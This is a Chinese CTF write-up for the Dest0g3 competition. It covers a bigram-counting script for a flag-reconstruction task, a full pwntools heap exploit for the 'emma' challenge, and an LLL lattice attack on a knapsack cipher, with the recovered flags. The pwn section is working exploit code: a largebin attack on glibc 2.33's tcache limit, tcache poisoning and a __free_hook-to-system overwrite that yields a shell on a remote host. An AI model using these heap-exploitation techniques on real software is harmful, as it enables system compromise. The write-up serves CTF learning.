终于在赛完N天后搜到一些不会的题--> 问谛居
目录
AI The correct flag
pwn emma
crypto Bag
这个是脑子没想到,解出来是两个字母一级的N多个对,看了才知道这个题是找第1个字母后第2个字母的出现数量最从的组合,比如第1个字母是D第2个字母e出现15次,是出现次数最高的。所以用这个求出所有的组合64个,将这些组合按顶针的方法连起来就行了De-es-st-t0-0g-g3-3{.....
#统计第1个字母后第2个字母的个数
data = open('a.txt', 'r').read().split(' ')
tab = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}'
da = []
for i in range(64):
da.append([0]*64)
#print(da)
for a in data:
da[tab.index(a[0])][tab.index(a[1])]+=1
for i in range(64):
l1 = ''
l2 = ''
for j in range(64):
l1 +=' ' + tab[j]
l2 +=f"% 3d" % da[i][j]
print(tab[i], ':')
print(l1)
print(l2)
#print(da)
db = []
for i in range(64):
v = 0
t = 0
for j in range(64):
if da[i][j] > v:
v,t = da[i][j],j
db.append(tab[i]+tab[t])
print(' '.join(db))
#AB BG Ce De EI FA GF HD Il JE KE LF MR NW OI PP QK RE Sd TW UX VB Wq XI YH Zq aA bG cO dI es fC g3 hP in jV kB l1 mH nP oD pP qS rD st t0 uI vB wH xB yP zO 0g 1} 29 3{ 4D 5Y 6Q 7N 87 98 {2 }D
#De es st ...
#Dest0
flag = 'D'
while flag[-1] != '}':
for a in db:
if a[0] == flag[-1]:
flag += a[1]
break
print(flag)
这个一开始发现只能建大块释放后进入unsort就不知道怎么弄了,看了才知道mp_ 这个结构在libc里存tcache的信息,在+72的位置保存的是堆的基地址,+80的位置是tcache的最大块尺寸,如果大于这个尺寸就会放到unsort。
所以思路就是通过largebin attack把一个指针放到+80的位置,再建块就会因为这个数太大而放入tcache从而进行tcache attack
第1步建个大块释放得到unsort指针,由于这个指针末尾字节是0,需要再建块利用残留获得
第2步largebin attack先建块释放,再建更大的让它进入largebin然后通过UAF将下一块的指针改为mp_+80(largebin有4个指针,最后一个是)
第3步再释放一个块再建更大的,让第1个largebin与第2个成链的时候会将指针写到mp_+80位置这时tcache的最大size被改大
第4步建块释放得到堆地址,改为__free_hook再建块写system再释放带/bin/sh的块。这里由于2.33对堆地址进行了加密,加密方式很简单是当前块地址异或指针。所以只需要让两个chunk的后12位相同直接用第1个指针(值为0)当作第2个释放的key就行(如果不在同一个XXX减1作个调整也一样)
from pwn import *
#patchelf --set-interpreter /home/shi/ctf/520/libc6-2.33/lib/x86_64-linux-gnu/ld-2.33.so pwn
#patchelf --add-needed /home/shi/ctf/520/libc6-2.33/lib/x86_64-linux-gnu/libc-2.33.so pwn
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 27686)
context(arch='amd64')
elf = ELF('./pwn')
libc_elf = ELF('/home/shi/ctf/520/libc6-2.33/lib/x86_64-linux-gnu/libc-2.33.so')
menu = b">>\n"
def add(idx, size, msg=b'/bin/sh\x00'):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Index: \n", str(idx).encode())
p.sendlineafter(b"Size: \n" ,str(size).encode())
p.sendafter(b"Content\n", msg)
def free(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Index: \n", str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Index: \n", str(idx).encode())
def edit(idx, msg):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Index: \n", str(idx).encode())
p.sendafter(b"Content\n", msg)
context.log_level='debug'
add(0, 0x450)
add(1, 0x420)
free(0)
add(2, 0x440, b'A')
show(0)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - ord('A') - 0x400 - 0x60 -0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
mp_80 = libc_base + 0x1e02b0 #find heap_base in libc : libc+0x1e02c8 = sbrk_base->head_base 在mp_+72的位置有堆的基地址,需要改+80的位置为一个大数(堆地址代替),使堆块值不超过tcache最大值,从而进入tcache进行tcacheattack
print('libc:', hex(libc_base))
print('mp_80', hex(mp_80))
add(0, 0x440)
add(3, 0x420)
free(2)
add(4, 0x600)
free(0)
edit(2, p64(0)*3 + p64(mp_80))
add(5, 0x800) #large_bin attack tcache_bins = 0x55... (max_size_tcache)
add(6, 0x500) #chunk6 >>12 == chunk7>>12
add(7, 0x500)
free(7)
show(7)
key = u64(p.recvline()[:-1].ljust(8, b'\x00')) #key
print('key:', hex(key))
free(6)
edit(6, p64(libc_elf.sym['__free_hook'] ^ key))
add(8, 0x500)
add(9, 0x500, p64(libc_elf.sym['system']))
free(8)
p.sendline(b'cat /flag')
p.interactive()
#Dest0g3{3801ee2a-6686-4428-9d64-0f812793cc14}
这个突然感觉没文化真可怕。
一开始想到的就是递归,可一看数字286层,这个不可能完成,即使减掉可以预测已知的部分也不行。
第二个想法是01背包问题,不过背包问题需要一个巨大的数组V这第大,这里的V是c也不可能实现,后来想用分段的方法虚拟一个数组。终于静下心来写出来了,但一运行也不行,因为背包问题会保存所以可能的状态,这些状态是c(n,0)+c(n,1)+...+c(n,n)种状态,这也是不可能实现的
昨天看到人家写的WP,感觉没文化啊。
这应该是一个线性代数的一个例题:用基格约减法求最短正交基
先建一个(n+1)*(n+1)的矩阵,对角线为1,末列为公钥Pk,末行末列为-c
然后用基格约简法求最短正交基 A.LLL() 然后输出就行了
nbit = len(Pk)
encoded = 1475864207352419823225329328555476398971654057144688193866218781853021651529290611526242518
print("start")
# 建一个(n+1)*(n+1)的矩阵,对角线值为1,末列为公钥,末行末列为-c 求LLL
# create a large matrix of 0's (dimensions are public key length +1)
A = Matrix(ZZ, nbit + 1, nbit + 1)
# fill in the identity matrix
for i in range(nbit):
A[i, i] = 1
# replace the bottom row with your public key
for i in range(nbit):
A[i, nbit] = Pk[i]
# last element is the encoded message
A[nbit, nbit] = -int(encoded)
res = A.LLL()
for i in range(0, nbit + 1):
# print solution
M = res.row(i).list()
flag = True
for m in M:
if m != 0 and m != 1:
flag = False
break
if flag:
print(i, M)
M = ''.join(str(j) for j in M)
# remove the last bit
M = M[:-1] #矩阵是n+1行,结果是n+1个值,最后一个去掉
M = hex(int(M, 2))[2:]
print(bytes.fromhex(M))
#5090ea29-8cb6-4ad8-ab43-1e6f65cc8eeb
#Dest0g3{5090ea29-8cb6-4ad8-ab43-1e6f65cc8eeb}
用sage运行n0秒后出结果。仅一句啊。